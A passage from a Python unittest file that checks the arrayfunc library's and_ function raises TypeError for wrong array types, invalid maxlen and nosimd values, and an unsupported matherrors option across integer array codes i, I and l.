"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('i', self.inpdata1a)
self.inparray2a = array.array('i', self.inpdata2a)
self.dataout = array.array('i', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code i.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code i.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code i.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code i.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_I(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('I', testdata1)
self.testarray2 = array.array('I', testdata2)
self.dataout = array.array('I', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code I.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code I.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code I.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code I.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code I.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code I.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code I.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code I.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code I.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code I.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code I.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code I.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_I(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('I', self.inpdata1a)
self.inparray2a = array.array('I', self.inpdata2a)
self.dataout = array.array('I', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code I.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code I.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_I(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('I', self.inpdata1a)
self.inparray2a = array.array('I', self.inpdata2a)
self.dataout = array.array('I', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code I.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code I.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code I.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code I.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_l(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('l', testdata1)
self.testarray2 = array.array('l', testdata2)
self.dataout = array.array('l', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code l.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code l.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code l.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code l.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code l.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code l.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code l.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code l.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code l.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code l.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code l.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code l.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_l(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('l', self.inpdata1a)
self.inparray2a = array.array('l', self.inpdata2a)
self.dataout = array.array('l', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code l.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code l.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code l.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code l.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code l.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_l(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('l', self.inpdata1a)
self.inparray2a = array.array('l', self.inpdata2a)
self.dataout = array.array('l', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code l.
"""
